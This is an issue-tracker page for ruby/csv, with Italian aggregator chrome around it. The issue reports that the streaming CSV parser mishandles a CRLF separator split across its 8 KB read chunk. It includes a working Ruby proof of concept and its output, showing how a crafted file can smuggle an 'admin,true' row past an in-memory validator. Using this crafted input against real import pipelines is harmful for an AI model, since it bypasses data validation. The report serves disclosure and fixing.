Streaming CSV parser drops records when a two-character row separator crosses a chunk boundary

Aperta
#397 0 commenti 0 reazioni 0 assegnatari Vedi su GitHub

Nessuno ha ancora preso questa issue.

Valutazione

Difficoltà
4/5
Tempo stimato
3-5 giorni
Idoneità per principianti
55/100
Tipo di issue
Bug
Chiarezza
Specificata chiaramente
Stato di attività
Attiva
Stack tecnologico
ruby
Ambito
backend, databases

Direzione di ricerca

Start at lib/csv/parser.rb:127 and trace how the streaming scanner combines a two-character row separator across its 8192-byte chunk boundary, especially when the following record contains a quote. Compare the in-memory and streaming paths using the supplied reproduction and row_sep: "\r\n". Done means both APIs parse the same input consistently without dropping or incorrectly rebuilding records.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Descrizione

About

Title: Streaming CSV parser drops records when a two-character row separator crosses a chunk boundary
Repository: ruby/csv
Location: lib/csv/parser.rb:127
Severity: Medium
Impacted versions: 3.1.5, 3.1.6, 3.1.9, 3.2.0, 3.2.3, 3.2.4, 3.2.9, 3.3.0, 3.3.7, 3.3.8

Summary

When CSV reads from a file or stream it pulls input in 8 KB chunks. With a two-character
row separator such as Windows CRLF, the separator can be split across the boundary between
two chunks. The reader detects this and glues the pieces together, but it then rewinds its
read position to the start of the next record while the bytes it already consumed from the
following chunk exist only in a local temporary buffer. If that record contains a quote,
the parser falls back to its quote-aware path and re-reads from the rewound position. The
record's bytes are no longer available, so the record is silently dropped or rebuilt
incorrectly.

The result is a parser differential: the same bytes are interpreted differently by the
in-memory parser (CSV.parse on a String or StringIO) and by the streaming parser
(CSV.foreach, CSV.read, CSV.new(File), CSV.new(IO.pipe)). In the demonstration,
the in-memory parser rejects a 16 KB file with "Unclosed quoted field in line 2," while
every streaming API accepts it, drops the 8 KB quoted field, and exposes a later
admin,true line as its own row. The reverse also occurs: a file the in-memory parser
accepts can be rejected when streamed.

Impact

An application that validates an uploaded CSV in memory and then imports the stored file
by streaming it can be made to act on different data than it checked. An attacker can
align a CRLF at byte 8191, hide 8 KB of chosen content inside an "unterminated" quoted
field, and have a record the validator never saw materialise during import. Row-count
checks, column checks, allow-lists, previews and audit trails can therefore disagree with
what is actually ingested, and records can disappear without any error. In the other
direction, a file that validates successfully can fail at import time, causing a denial of
import and silent data loss.

The bug affects two-character row separators such as CRLF; single-character \n or \r
is not affected. It requires the separator to straddle the 8192-byte chunk boundary, but
the attacker controls field lengths and can position it deliberately. It is reachable when
an application explicitly uses row_sep: "\r\n" with a file or stream, which is common
for Windows-produced CSV. Small files parsed with the default :auto separator may be
slurped and parsed in memory, so the streaming path is not always taken.

Mitigations

Use exactly the same API for validation and for import (both streaming or both in memory),
and prefer one-character row_sep (the default "\n" is not affected) or normalise CRLF to
LF before parsing. Ensure record boundaries never straddle a chunk by raising/lowering
chunk_size or by using a large enough buffer, and re-parse/compare the whole file in
memory when a mismatch matters. A fix in the library is to keep the bytes consumed from
the next chunk as part of the record when the combine path rewinds the scanner, so
parse_quotable_robust re-reads the complete record.

Examples
example 1

A web application validates uploads with CSV.parse(request.body, row_sep: "\r\n") and
later imports the stored file with CSV.foreach(path, row_sep: "\r\n"). The attacker
submits a 16 KB file whose first line ends exactly at byte 8191. The validator raises
'Unclosed quoted field', but the importer returns three rows, the last of which is
["admin","true"]; any allow-list, row-count or content check that used the in-memory
view never saw that row.

example 2

An ETL pipeline previews a file in memory to enforce a maximum row count and then streams
it into a warehouse. A crafted CRLF boundary hides thousands of bytes inside a quoted
field and surfaces an extra record during the streaming load, so the row-count limit and
the preview are both wrong.

example 3

A file-sharing service scans an uploaded CSV for forbidden values in memory and then lets
a background job stream it. The scanner sees the quoted field as part of a malformed
record and reports nothing; the background job drops that field and imports the attacker's
extra row.

Proof of concept
#!/usr/bin/env ruby
# frozen_string_literal: true
#
# PoC for bug 01a21ef8-b681-73c5-b98f-5877415f2512
#
#   With a two-character record separator (row_sep: "\r\n", i.e. anything
#   produced on Windows/Excel), the streaming InputsScanner loses a record
#   whenever the separator straddles its 8192-byte read chunk.  The combine
#   path rewinds @scanner.pos to the start of the record after the separator,
#   but the bytes of that record that were already consumed from the next
#   chunk only live in each_line's local `buffer`, so they are not part of the
#   "keep".  When the robust parser is then entered (because the record
#   contains a quote) it re-reads from the start of the record, finds nothing,
#   and silently drops the record.
#
#   Consequence: the exact same bytes are parsed differently depending on
#   whether the application hands CSV a String/StringIO (in-memory validator)
#   or a File/IO/pipe (streaming importer).  An unterminated quoted field can
#   be smuggled past a validator that would have rejected the file, and the
#   records hidden behind/inside it are surfaced by the importer as rows the
#   validator never saw.
#
# Usage:
#   ruby csv_stream_parser_differential.rb
#
$LOAD_PATH.unshift("/src/lib") if File.exist?("/src/lib/csv.rb")
require "csv"
require "stringio"
require "tempfile"

ROW_SEP = "\r\n" # documented option, default for Windows-produced CSV
CHUNK   = 8192

# Case A: a record that ends exactly on the chunk boundary straddles it, then
# a quoted field that is never closed, then the record the attacker wants the
# importer to add.
case_a = ("x" * (CHUNK - 1)) + ROW_SEP +
         "\"" + ("y" * 8190) + ROW_SEP +
         "admin,true" + ROW_SEP

# Case B: the same boundary-straddling separator, this time with data that the
# in-memory parser accepts and the streaming parser rejects -- data accepted by
# the validator silently vanishes / errors only at import time.
case_b = ("x" * (CHUNK - 1)) + ROW_SEP +
         "\"" + ("y" * 8190) + ROW_SEP + "admin,true" + ROW_SEP +
         "\"" + ROW_SEP

def summarise(rows)
  rows.map do |row|
    row.map do |field|
      next nil if field.nil?
      next "#{field[0, 12]}...(#{field.bytesize} bytes)" if field.bytesize > 24
      field
    end
  end
end

def attempt(label)
  result = yield
  puts "  #{label.ljust(30)} => #{result.nil? ? 'nil' : summarise(result).inspect}"
  [:ok, result]
rescue CSV::MalformedCSVError => error
  puts "  #{label.ljust(30)} => CSV::MalformedCSVError: #{error.message}"
  [:raise, error.message]
end

def check(name, data)
  puts "#{name} (#{data.bytesize} bytes)"
  file = Tempfile.new(["poc", ".csv"])
  file.binmode
  file.write(data)
  file.close

  in_memory = attempt("CSV.parse(body)") { CSV.parse(data, row_sep: ROW_SEP) }
  attempt("CSV.parse(StringIO)") { CSV.parse(StringIO.new(data), row_sep: ROW_SEP) }
  streamed = attempt("CSV.foreach(file)") do
    rows = []
    CSV.foreach(file.path, row_sep: ROW_SEP) { |row| rows << row }
    rows
  end
  attempt("CSV.read(file)") { CSV.read(file.path, row_sep: ROW_SEP) }
  attempt("CSV.new(File).read") do
    File.open(file.path) { |io| CSV.new(io, row_sep: ROW_SEP).read }
  end
  attempt("CSV.new(IO.pipe).read") do
    reader, writer = IO.pipe
    thread = Thread.new do
      writer.binmode
      begin
        writer.write(data)
      rescue Errno::EPIPE
        nil
      ensure
        writer.close
      end
    end
    rows = CSV.new(reader, row_sep: ROW_SEP).read
    thread.join
    reader.close
    rows
  end
  file.unlink
  puts
  [in_memory, streamed]
end

puts "csv #{CSV::VERSION} / ruby #{RUBY_VERSION} on #{RUBY_PLATFORM}"
puts "options: row_sep: #{ROW_SEP.inspect}  (two-character separator)"
puts

a = check("CASE A - unterminated quoted field after the chunk boundary", case_a)
b = check("CASE B - reverse direction: accepted in memory, rejected when streamed", case_b)

differential = a[0][0] != a[1][0] || b[0][0] != b[1][0]

if differential
  puts "RESULT: the same bytes are parsed differently in memory and when streamed."
  puts "        CASE A: the validator rejects the file (unclosed quote), but a streaming"
  puts "        importer accepts it, drops the 8 KB quoted field and emits"
  puts "        [\"admin\", \"true\"] as a record the validator never saw."
  puts "        CASE B: the reverse -- a file the validator accepts is rejected/dropped"
  puts "        by the importer."
  exit 0
end

puts "RESULT: no divergence observed -- bug not reproduced"
exit 1
stdout
$ ruby csv_stream_parser_differential.rb
csv 3.3.8 / ruby 3.4.9 on amd64-freebsd16
options: row_sep: "\r\n"  (two-character separator)

CASE A - unterminated quoted field after the chunk boundary (16398 bytes)
  CSV.parse(body)                => CSV::MalformedCSVError: Unclosed quoted field in line 2.
  CSV.parse(StringIO)            => CSV::MalformedCSVError: Unclosed quoted field in line 2.
  CSV.foreach(file)              => [["xxxxxxxxxxxx...(8191 bytes)"], [], ["admin", "true"]]
  CSV.read(file)                 => [["xxxxxxxxxxxx...(8191 bytes)"], [], ["admin", "true"]]
  CSV.new(File).read             => [["xxxxxxxxxxxx...(8191 bytes)"], [], ["admin", "true"]]
  CSV.new(IO.pipe).read          => [["xxxxxxxxxxxx...(8191 bytes)"], [], ["admin", "true"]]

CASE B - reverse direction: accepted in memory, rejected when streamed (16401 bytes)
  CSV.parse(body)                => [["xxxxxxxxxxxx...(8191 bytes)"], ["yyyyyyyyyyyy...(8204 bytes)"]]
  CSV.parse(StringIO)            => [["xxxxxxxxxxxx...(8191 bytes)"], ["yyyyyyyyyyyy...(8204 bytes)"]]
  CSV.foreach(file)              => CSV::MalformedCSVError: Unclosed quoted field in line 4.
  CSV.read(file)                 => CSV::MalformedCSVError: Unclosed quoted field in line 4.
  CSV.new(File).read             => CSV::MalformedCSVError: Unclosed quoted field in line 4.
  CSV.new(IO.pipe).read          => CSV::MalformedCSVError: Unclosed quoted field in line 4.

RESULT: the same bytes are parsed differently in memory and when streamed.
        CASE A: the validator rejects the file (unclosed quote), but a streaming
        importer accepts it, drops the 8 KB quoted field and emits
        ["admin", "true"] as a record the validator never saw.
        CASE B: the reverse -- a file the validator accepts is rejected/dropped
        by the importer.
Lingua principale
Ruby
Stelle
221
Fork
142
Merge medio
1g 40m
PR unite (30g)
2

Preparare l'ambiente

Questo progetto non fornisce container di sviluppo, Dockerfile né guida per i contributori, quindi l'ambiente è a tuo carico: parti dal suo README e consulta la nostra guida al primo contributo per i passaggi generali.

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Altre issue di ruby/csv

Tutte le issue di ruby/csv

Issue simili

Altre issue su Ruby

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.